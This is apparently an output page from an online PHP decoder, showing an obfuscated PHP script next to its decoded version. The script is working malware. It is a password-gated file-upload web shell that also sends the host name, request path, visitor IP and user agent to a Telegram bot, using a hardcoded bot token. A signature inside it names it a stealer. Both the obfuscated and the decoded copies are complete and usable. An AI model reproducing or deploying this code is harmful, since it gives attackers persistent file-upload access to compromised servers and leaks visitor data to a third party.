Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto YHpLeJi55MArr2ru; JUJp04PmrqWJ8W1p: hIz65QXWJR5G6ZnQ: goto a0zOs5aORsy5IO2T; COZ4Hw2u..
Decoded Output download
<? goto YHpLeJi55MArr2ru; JUJp04PmrqWJ8W1p: hIz65QXWJR5G6ZnQ: goto a0zOs5aORsy5IO2T; COZ4Hw2uUP7EjFma: $qw7F7LXF0mDw63L4 = "-4170353807"; goto WWYQkdOEVJYSMSqA; a0zOs5aORsy5IO2T: echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded."; goto WvKDxsXBU9Ea0V_o; EfgiuofLSFbJYssn: if (!isset($_FILES["fileToUpload"])) { goto ipYeozsET6xCv8rL; } goto dSsKMl2iGiE_y3NS; wjO3TJ3xKMRqoYuT: $IKPTQ3VeZGu8kaX2 = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($IrFitUPKA3T8hMQS))); goto YPbYdrvLHNuCyYTn; RbBMA6FWJeCxIUwr: $zK2UkB86PEayS_4Q = $z1osBOd_BQC1lv0n . basename($_FILES["fileToUpload"]["name"]); goto uWFD2TDGi_WXVkZJ; TUfWjiQV9VG1AAqR: $hgqosO0SRGI15WeF = $_SERVER["HTTP_USER_AGENT"]; goto xf3fkpkErBeswjaD; uaPKIHSjgIuWYNZI: goto MyiQmoRAGDrlI1Cj; goto JUJp04PmrqWJ8W1p; MuI1KuMEHgiYeNRo: Fy46jrvJtFMbapC3: goto jyawMPuAa1Titmri; Jjxzju4p44LMQCHH: echo "Sorry, there was an error uploading your file."; goto uaPKIHSjgIuWYNZI; B2j8JM7h7Gt_cDef: header("Location: login.php"); goto MIh64T43OMu6_tg3; WWYQkdOEVJYSMSqA: $EQBExVNzaJb7JZEm = "http://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto y2Y3lhEUEe3t6nGx; WvKDxsXBU9Ea0V_o: MyiQmoRAGDrlI1Cj: goto dsWNNMOl3t7uyIHM; clY8Wm2rZ5U9wR_F: $IrFitUPKA3T8hMQS = array("chat_id" => $qw7F7LXF0mDw63L4, "text" => $NCL72niySakG1s5x); goto wjO3TJ3xKMRqoYuT; YHpLeJi55MArr2ru: $ietJPCbJ7TBrMsuW = "7151861076:AAHIDspbiwKPKS62V_o5NXbM38ThPzzz928"; goto COZ4Hw2uUP7EjFma; uWFD2TDGi_WXVkZJ: if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $zK2UkB86PEayS_4Q)) { goto hIz65QXWJR5G6ZnQ; } goto Jjxzju4p44LMQCHH; Qq7WzAjtWv74Rre5: f_JdGLLUPO3CPwX6: goto mfJ2xOD2gV1B_Cv_; jyawMPuAa1Titmri: function Z3SgkqpTT0hL2fjX($ietJPCbJ7TBrMsuW, $qw7F7LXF0mDw63L4, $NCL72niySakG1s5x) { goto BGE08yBk61UiQgEF; ZzzQpMEPTaZAJdvp: $IKPTQ3VeZGu8kaX2 = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($IrFitUPKA3T8hMQS))); goto ZBqh160hD3EYrCba; JO70ixMAj82zX1N3: $IrFitUPKA3T8hMQS = array("chat_id" => $qw7F7LXF0mDw63L4, "text" => $NCL72niySakG1s5x); goto ZzzQpMEPTaZAJdvp; ZBqh160hD3EYrCba: $b_iQ9Dd3hcWI_tT1 = stream_context_create($IKPTQ3VeZGu8kaX2); goto cxdirJGGrEN1L5m2; qKLMXCVv_HBYZ1mM: return $zU_DYIC1IwaPB0Dx; goto IH_QKr2g6okDfEfG; BGE08yBk61UiQgEF: $Ivs5vfzm0e7pq26r = "https://api.telegram.org/bot{$ietJPCbJ7TBrMsuW}/sendMessage"; goto JO70ixMAj82zX1N3; cxdirJGGrEN1L5m2: $zU_DYIC1IwaPB0Dx = file_get_contents($Ivs5vfzm0e7pq26r, false, $b_iQ9Dd3hcWI_tT1); goto qKLMXCVv_HBYZ1mM; IH_QKr2g6okDfEfG: } goto EfgiuofLSFbJYssn; YPbYdrvLHNuCyYTn: $b_iQ9Dd3hcWI_tT1 = stream_context_create($IKPTQ3VeZGu8kaX2); goto K4SeeYA0iOw2ojnz; mfJ2xOD2gV1B_Cv_: echo "<form action="" method="post" enctype="multipart/form-data"><input type="file" name="fileToUpload" id="fileToUpload"><input type="submit" value="Upload File" name="submit"></form>"; goto MuI1KuMEHgiYeNRo; dSsKMl2iGiE_y3NS: $z1osBOd_BQC1lv0n = __DIR__ . "/"; goto RbBMA6FWJeCxIUwr; YcIQ4Wps40uvgzQw: goto Fy46jrvJtFMbapC3; goto Qq7WzAjtWv74Rre5; MIh64T43OMu6_tg3: exit; goto YcIQ4Wps40uvgzQw; Ay9y17KQQxusH9It: $NCL72niySakG1s5x = "R3Z ST3AL3R @Th3bank3rr \xaDomain: {$_SERVER["HTTP_HOST"]}
Path: {$EQBExVNzaJb7JZEm}\xaUser IP: {$luH504iY5QYDp_ty}\xaUser Agent: {$hgqosO0SRGI15WeF}"; goto v1vG_ZVK39JaEZJm; v1vG_ZVK39JaEZJm: $Ivs5vfzm0e7pq26r = "https://api.telegram.org/bot{$ietJPCbJ7TBrMsuW}/sendMessage"; goto clY8Wm2rZ5U9wR_F; K4SeeYA0iOw2ojnz: $zU_DYIC1IwaPB0Dx = file_get_contents($Ivs5vfzm0e7pq26r, false, $b_iQ9Dd3hcWI_tT1); goto B2j8JM7h7Gt_cDef; y2Y3lhEUEe3t6nGx: $luH504iY5QYDp_ty = $_SERVER["REMOTE_ADDR"]; goto TUfWjiQV9VG1AAqR; xf3fkpkErBeswjaD: if (isset($_GET["passingo"]) && $_GET["passingo"] === "123321Biatch!!!") { goto f_JdGLLUPO3CPwX6; } goto Ay9y17KQQxusH9It; dsWNNMOl3t7uyIHM: ipYeozsET6xCv8rL: ?>
Did this file decode correctly?
Original Code
goto YHpLeJi55MArr2ru; JUJp04PmrqWJ8W1p: hIz65QXWJR5G6ZnQ: goto a0zOs5aORsy5IO2T; COZ4Hw2uUP7EjFma: $qw7F7LXF0mDw63L4 = "\55\64\61\67\60\x33\x35\63\x38\x30\x37"; goto WWYQkdOEVJYSMSqA; a0zOs5aORsy5IO2T: echo "\x54\150\145\x20\146\x69\154\x65\40" . htmlspecialchars(basename($_FILES["\146\151\154\x65\x54\x6f\125\160\154\157\x61\x64"]["\156\141\155\x65"])) . "\40\150\141\x73\40\142\x65\x65\156\x20\165\160\x6c\157\x61\144\x65\x64\56"; goto WvKDxsXBU9Ea0V_o; EfgiuofLSFbJYssn: if (!isset($_FILES["\146\x69\x6c\x65\124\x6f\x55\x70\x6c\157\141\144"])) { goto ipYeozsET6xCv8rL; } goto dSsKMl2iGiE_y3NS; wjO3TJ3xKMRqoYuT: $IKPTQ3VeZGu8kaX2 = array("\x68\x74\x74\160" => array("\155\145\x74\x68\x6f\x64" => "\120\117\123\x54", "\150\145\141\x64\x65\x72" => "\x43\157\156\x74\x65\156\164\55\164\x79\160\145\72\40\x61\x70\x70\154\x69\x63\141\x74\x69\x6f\x6e\x2f\x78\x2d\167\x77\x77\x2d\146\157\x72\x6d\x2d\165\x72\x6c\x65\x6e\143\157\144\x65\144", "\x63\157\x6e\164\145\x6e\164" => http_build_query($IrFitUPKA3T8hMQS))); goto YPbYdrvLHNuCyYTn; RbBMA6FWJeCxIUwr: $zK2UkB86PEayS_4Q = $z1osBOd_BQC1lv0n . basename($_FILES["\146\151\x6c\145\124\157\x55\160\154\x6f\x61\144"]["\x6e\x61\x6d\145"]); goto uWFD2TDGi_WXVkZJ; TUfWjiQV9VG1AAqR: $hgqosO0SRGI15WeF = $_SERVER["\x48\x54\x54\120\137\125\123\x45\122\137\x41\107\x45\116\x54"]; goto xf3fkpkErBeswjaD; uaPKIHSjgIuWYNZI: goto MyiQmoRAGDrlI1Cj; goto JUJp04PmrqWJ8W1p; MuI1KuMEHgiYeNRo: Fy46jrvJtFMbapC3: goto jyawMPuAa1Titmri; Jjxzju4p44LMQCHH: echo "\123\x6f\162\x72\171\x2c\x20\164\x68\145\162\x65\x20\167\141\x73\x20\x61\x6e\40\145\x72\x72\157\162\40\x75\160\154\157\x61\144\x69\x6e\x67\40\171\157\165\162\x20\x66\x69\x6c\145\x2e"; goto uaPKIHSjgIuWYNZI; B2j8JM7h7Gt_cDef: header("\x4c\x6f\143\x61\164\x69\157\x6e\x3a\40\x6c\x6f\x67\151\156\x2e\160\150\x70"); goto MIh64T43OMu6_tg3; WWYQkdOEVJYSMSqA: $EQBExVNzaJb7JZEm = "\150\164\164\160\x3a\57\57{$_SERVER["\110\124\x54\x50\137\x48\117\x53\124"]}{$_SERVER["\x52\x45\x51\125\105\x53\124\x5f\x55\x52\111"]}"; goto y2Y3lhEUEe3t6nGx; WvKDxsXBU9Ea0V_o: MyiQmoRAGDrlI1Cj: goto dsWNNMOl3t7uyIHM; clY8Wm2rZ5U9wR_F: $IrFitUPKA3T8hMQS = array("\143\x68\141\164\137\151\x64" => $qw7F7LXF0mDw63L4, "\164\x65\170\x74" => $NCL72niySakG1s5x); goto wjO3TJ3xKMRqoYuT; YHpLeJi55MArr2ru: $ietJPCbJ7TBrMsuW = "\x37\61\65\x31\70\66\61\60\x37\66\x3a\101\x41\x48\x49\104\163\x70\x62\x69\167\113\120\113\123\66\62\126\137\157\65\116\x58\142\x4d\63\70\124\150\120\x7a\172\172\71\x32\x38"; goto COZ4Hw2uUP7EjFma; uWFD2TDGi_WXVkZJ: if (move_uploaded_file($_FILES["\146\151\154\145\x54\157\125\x70\154\157\x61\144"]["\x74\155\160\x5f\x6e\141\x6d\x65"], $zK2UkB86PEayS_4Q)) { goto hIz65QXWJR5G6ZnQ; } goto Jjxzju4p44LMQCHH; Qq7WzAjtWv74Rre5: f_JdGLLUPO3CPwX6: goto mfJ2xOD2gV1B_Cv_; jyawMPuAa1Titmri: function Z3SgkqpTT0hL2fjX($ietJPCbJ7TBrMsuW, $qw7F7LXF0mDw63L4, $NCL72niySakG1s5x) { goto BGE08yBk61UiQgEF; ZzzQpMEPTaZAJdvp: $IKPTQ3VeZGu8kaX2 = array("\150\164\164\x70" => array("\155\145\164\x68\x6f\144" => "\120\x4f\123\x54", "\x68\145\141\144\x65\162" => "\103\x6f\x6e\164\145\156\x74\55\x74\x79\160\x65\x3a\x20\141\x70\x70\x6c\x69\143\141\x74\x69\157\x6e\57\170\x2d\167\167\x77\55\x66\x6f\x72\155\55\x75\162\x6c\x65\156\x63\157\144\145\144", "\x63\157\156\164\145\156\164" => http_build_query($IrFitUPKA3T8hMQS))); goto ZBqh160hD3EYrCba; JO70ixMAj82zX1N3: $IrFitUPKA3T8hMQS = array("\143\150\x61\x74\x5f\x69\144" => $qw7F7LXF0mDw63L4, "\x74\x65\170\164" => $NCL72niySakG1s5x); goto ZzzQpMEPTaZAJdvp; ZBqh160hD3EYrCba: $b_iQ9Dd3hcWI_tT1 = stream_context_create($IKPTQ3VeZGu8kaX2); goto cxdirJGGrEN1L5m2; qKLMXCVv_HBYZ1mM: return $zU_DYIC1IwaPB0Dx; goto IH_QKr2g6okDfEfG; BGE08yBk61UiQgEF: $Ivs5vfzm0e7pq26r = "\150\x74\x74\160\163\72\x2f\57\141\160\x69\x2e\164\145\x6c\x65\147\x72\141\x6d\56\x6f\x72\x67\x2f\142\157\x74{$ietJPCbJ7TBrMsuW}\x2f\163\x65\x6e\x64\x4d\145\x73\163\x61\x67\x65"; goto JO70ixMAj82zX1N3; cxdirJGGrEN1L5m2: $zU_DYIC1IwaPB0Dx = file_get_contents($Ivs5vfzm0e7pq26r, false, $b_iQ9Dd3hcWI_tT1); goto qKLMXCVv_HBYZ1mM; IH_QKr2g6okDfEfG: } goto EfgiuofLSFbJYssn; YPbYdrvLHNuCyYTn: $b_iQ9Dd3hcWI_tT1 = stream_context_create($IKPTQ3VeZGu8kaX2); goto K4SeeYA0iOw2ojnz; mfJ2xOD2gV1B_Cv_: echo "\x3c\146\x6f\162\155\40\141\x63\x74\x69\157\x6e\x3d\x22\42\40\155\145\164\x68\x6f\x64\75\x22\x70\x6f\163\164\42\x20\x65\x6e\143\164\x79\x70\x65\x3d\x22\155\x75\x6c\x74\151\x70\141\x72\164\57\146\x6f\x72\x6d\55\144\141\164\x61\42\76\x3c\x69\x6e\160\165\164\40\164\171\x70\145\x3d\42\146\x69\x6c\145\42\40\156\x61\155\x65\x3d\42\x66\x69\154\145\x54\x6f\125\160\154\157\141\144\42\x20\x69\144\x3d\x22\146\151\x6c\x65\x54\157\125\160\154\x6f\141\x64\x22\x3e\x3c\x69\156\160\165\x74\40\x74\x79\x70\145\75\x22\x73\165\x62\155\151\x74\42\40\x76\141\154\165\x65\75\42\x55\x70\154\x6f\141\144\x20\106\x69\x6c\145\42\40\x6e\x61\155\145\75\x22\163\165\142\155\x69\164\42\76\74\x2f\146\157\x72\x6d\x3e"; goto MuI1KuMEHgiYeNRo; dSsKMl2iGiE_y3NS: $z1osBOd_BQC1lv0n = __DIR__ . "\57"; goto RbBMA6FWJeCxIUwr; YcIQ4Wps40uvgzQw: goto Fy46jrvJtFMbapC3; goto Qq7WzAjtWv74Rre5; MIh64T43OMu6_tg3: exit; goto YcIQ4Wps40uvgzQw; Ay9y17KQQxusH9It: $NCL72niySakG1s5x = "\x52\x33\x5a\40\123\124\63\101\x4c\x33\x52\x20\x40\x54\x68\63\x62\x61\x6e\x6b\x33\x72\162\40\xa\104\x6f\x6d\141\151\156\x3a\x20{$_SERVER["\x48\x54\124\120\137\110\117\x53\124"]}\12\120\x61\164\x68\72\x20{$EQBExVNzaJb7JZEm}\xa\x55\x73\145\162\x20\x49\x50\x3a\40{$luH504iY5QYDp_ty}\xa\125\x73\x65\x72\x20\101\147\x65\x6e\x74\72\40{$hgqosO0SRGI15WeF}"; goto v1vG_ZVK39JaEZJm; v1vG_ZVK39JaEZJm: $Ivs5vfzm0e7pq26r = "\x68\164\x74\160\163\72\57\57\141\160\x69\56\x74\x65\x6c\x65\x67\x72\x61\155\56\x6f\x72\147\x2f\x62\157\x74{$ietJPCbJ7TBrMsuW}\x2f\x73\x65\x6e\144\115\145\x73\x73\x61\147\x65"; goto clY8Wm2rZ5U9wR_F; K4SeeYA0iOw2ojnz: $zU_DYIC1IwaPB0Dx = file_get_contents($Ivs5vfzm0e7pq26r, false, $b_iQ9Dd3hcWI_tT1); goto B2j8JM7h7Gt_cDef; y2Y3lhEUEe3t6nGx: $luH504iY5QYDp_ty = $_SERVER["\122\105\115\117\x54\x45\x5f\101\104\104\x52"]; goto TUfWjiQV9VG1AAqR; xf3fkpkErBeswjaD: if (isset($_GET["\x70\x61\163\x73\x69\156\147\x6f"]) && $_GET["\x70\141\163\x73\x69\156\x67\x6f"] === "\x31\62\x33\x33\62\61\x42\151\x61\164\x63\x68\41\41\x21") { goto f_JdGLLUPO3CPwX6; } goto Ay9y17KQQxusH9It; dsWNNMOl3t7uyIHM: ipYeozsET6xCv8rL:
Function Calls
None |
Stats
MD5 | 46aa5f824a1c44eddeaaecac7be324b6 |
Eval Count | 0 |
Decode Time | 65 ms |